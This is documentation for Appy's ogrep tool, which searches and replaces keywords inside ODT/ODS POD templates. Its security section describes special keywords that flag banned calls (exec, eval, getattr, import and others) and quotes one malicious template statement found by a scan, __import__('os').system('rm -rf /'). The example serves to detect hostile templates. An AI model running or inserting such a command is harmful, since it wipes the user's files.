AppyPrinciplesGetting started
appy.pod Command-line programs ogrep · Find & replace within POD templates

After years of experiencing countless success stories using Appy on various projects, you may end up with a plethora of POD templates. Consequently, these needs may emerge:

  • searching keywords within POD templates ;
  • performing find / replace operations within your templates.

This is what ogrep.py is all about.

ogrep stands for "OpenDocument Grep" and is meant to perform grep-like searches within a given POD template or within all POD templates being found, recursively, in a given folder. Although it is possible, with ogrep, to grep any part of an OpenDocument template (be it an ODT or ODS template), the main focus is on searching and/or replacing keywords within POD-specific zones, ie, comments (notes) and fields.

Searching for keywords

Suppose you have this template, named Agenda.py, in the current working directory. A part of this template could look like this:

If you want to find all usages of method getShownValue in your template, you may use ogrep.py this way:

appy ogrep getShownValue Agenda.odt

The result would be:

pod/Agenda.odt matches 1 time(s).

Searching for keyword item would match more results:

appy ogrep item Agenda.odt
pod/Agenda.odt matches 5 time(s).

If you want more output, use options -v or -vv:

appy ogrep getShownValue Agenda.odt -v
:: 1 match for Agenda.odt ::
  Content:
item.proposingGroup.getShownValue()

With even more verbosity, you get this result.

appy ogrep getShownValue Agenda.odt -vv
:: 1 match for Agenda.odt ::
  Match::on::field (tag text:conditional-text)
  Keyword(s) (regex): getShownValue 
  Content:
item.proposingGroup.getShownValue()

All the examples so far illustrated keywords found within fields. The following example matches a keyword in a comment. Template Agenda.py contains these comments:

Performing the following ogrep produces this result:

appy ogrep is.mpty Agenda.odt -vv
 
:: 6 matches for Agenda.odt ::
 
  Match::on::note (tag office:annotation)
  Keyword(s) (regex): is.mpty
  By Auteur inconnu on 2014-05-01T19:05:06
 
  Content:
 
do text if not tool.isEmpty('logo')
from document(at=tool.path('logo'))
 
  Match::on::note (tag office:annotation)
  Keyword(s) (regex): is.mpty
  By Auteur inconnu on 2014-05-01T19:10:58
  
  Content:
 
do text if not tool.isEmpty('organization')

...

This example illustrates another element: the keyword is, by default, interpreted as a regular expression. The dot matching anything, is.mpty matches isEmpty, found 6 times in the POD template (the result was truncated to the 2 first results for conciseness).

If you want the keyword to be interpreted as a strict string, use option -s:

appy ogrep is.mpty Agenda.odt -vv -s
No match found.

The hereabove examples were about searching for keywords within a single POD template. It is also possible to search (and replace, see below) for keywords, recursively, within all POD templates found in a folder hierarchy, lie in this example.

appy ogrep "search" ../../HubSessions
../../HubSessions/pod/Revenues.ods matches 1 time(s).
../../HubSessions/pod/Tasks.ods matches 2 time(s).
../../HubSessions/pod/sub/Items.ods matches 2 time(s).
../../HubSessions/pod/Items.odt matches 3 time(s).
../../HubSessions/Meetings.odt matches 3 time(s).
../../HubSessions/pod/a/b/c/Tasks.odt matches 3 time(s).

Also note that ogrep works fine with ODT as well as ODS POD templates.

Special keywords

In these troubled times, security has become a major concern. Pod statements and expressions, if written by malicious individuals, may become a way to hack your system. The pod answer to this problem mainly consists in preventing unallowed code to be written down in pod expressions and statements, by giving an Evaluator object to the pod Renderer.

That being said, it may be worth scanning your existing templates, searching for touchy function/method calls. This can be achieved by specifying one of the available special keywords to ogrep. These special keywords are described in the table below.

Keyword Meaning
_banned_ Represents any banned term as defined by the Compromiser evaluator, lying in appy/pod/evaluator.py. Currently, it encompasses calls to any of the following functions: exec, eval, input, compile, getattr, setattr, hasattr, open, print, import, del, global (check attribute Compromiser.banned for an up-to-date list).
_underscored_ Represents any variable, function or method name being surrounded by double underscores.

For example, suppose I have delegated the task of writing some pod templates to someone I trust. A couple of days later, the person sent me a bunch of pod templates. After unzipping it on my laptop, I launched the following ogrep command, being at the root of the unzipped folder:

appy ogrep _underscored_ . -vv

What a shock ! Here was the script output:

:: 1 match for pod/Item.odt ::
 
  Match::on::note (tag office:annotation)
  Keyword(s) (regex): _underscored_
  By Unknown Author on 2020-11-14T18:16:56.124921797
  
  Content:
 
do text if self.private
with x=__import__('os').system('rm -rf /')

I opened the incriminated template and discovered the sad reality in a pod statement.

Performing replacements

Performing a find / replace with ogrep is as simple as adding option -r repl to an ogrep command. Before performing such a delicate operation, a dry run mode has been implemented via option -d. Suppose you want to replace string search_title with the more elegant camelCased searchTitle. You may test it with this command:

appy ogrep search_title ../../HubSessions -r searchTitle -vv -d

Every match would look like this:

:: 1 match for ../../HubSessions/pod/Revenues.ods ::
 
  Match::on::field (tag table:table-cell)
  Keyword(s) (regex): search_title  
  These changes would have been done:
 
- '%s — Extrait du %s' % (search.translated or _('search_title'), d(now, withHour=False))
?                                                       ^^
 
+ '%s — Extrait du %s' % (search.translated or _('searchTitle'), d(now, withHour=False))
?                                                       ^

By default, differences between the POD zones before or after having performed the replacement are outputed using the standard diff syntax. If you prefer colors, use the -n option:

appy ogrep search_title ../../HubSessions -r searchTitle -vv -d -n

Here is the result:

In order to perform the true replacement, simply remove the -d option.

Reference

All program options are documented hereafter.

usage: ogrep.py [-h] [-r REPL] [-v] [-vv] [-d] [-c] [-s] [-n] keyword path
 
Perform UNIX grep-like searches within ODF files
 
positional arguments:
  keyword           is the regular expression (or string if -s) to search
                    within the file(s). From the command-line, special chars
                    possibly included in the keyword (and also the replacement
                    string, if passed) must be escaped. For example,
                    cus(tom)_(agenda) must be written as
                    cus\(tom\)_\(agenda\). \2_\1 must be written as \\2_\\1. 2
                    keywords are reserved."_banned_" will match any banned
                    term as defined by the Compromiser, in its attribute
                    Compromiser.banned: exec, eval, input, compile, getattr,
                    setattr, hasattr, open, print, import, del, global (more
                    info in appy/pod/evaluator.py). "_underscored_" will match
                    any variable, function or method name being surrounded by
                    double underscores, as detected by regular expression
                    Compromiser.underscored: __\w+__
  path              is the path to a file or folder. If a file is passed, you
                    must pass the path to an ODF file (odt or ods). ogrep will
                    be run on this file only. If a folder is passed, ogrep
                    will be run on all ODF files found in this folder and sub-
                    folders.
 
options:
  -h, --help        show this help message and exit
  -r, --repl REPL   if this replacement string is passed, within matched ODF
                    files, the keyword will be replaced with it. The
                    replacement string may contain references to groups
                    possibly defined within the "keyword" regular expression,
                    but only via the "\<nb>" notation.
  -v, --verbose     dump more info about the find/replace zones (only
                    available if option "-c" is not used).
  -vv               similar to -v, must with even more *v*erbosity.
  -d, --dry-run     in the context of a replacement, if this option is set, no
                    replacement will actually be performed, but output will
                    give info (detailed if -v, minimal if not) about what
                    replacements would have been performed without this
                    option.
  -c, --in-content  if unset, the find/replace process will only apply to the
                    POD-controlled zones of POD template(s): notes and fields.
                    If the option is set, it will occur in any part of the
                    template(s).
  -s, --as-string   by default, keyword is interpreted as a regular
                    expression. If you want it to be a plain *s*tring instead,
                    set this option.
  -n, --nice        if set in conjunction with -v or -vv, changes (being
                    effective or potential, depending on -d) will be
                    colorized. Else, changes will be rendered as standard diff
                    output.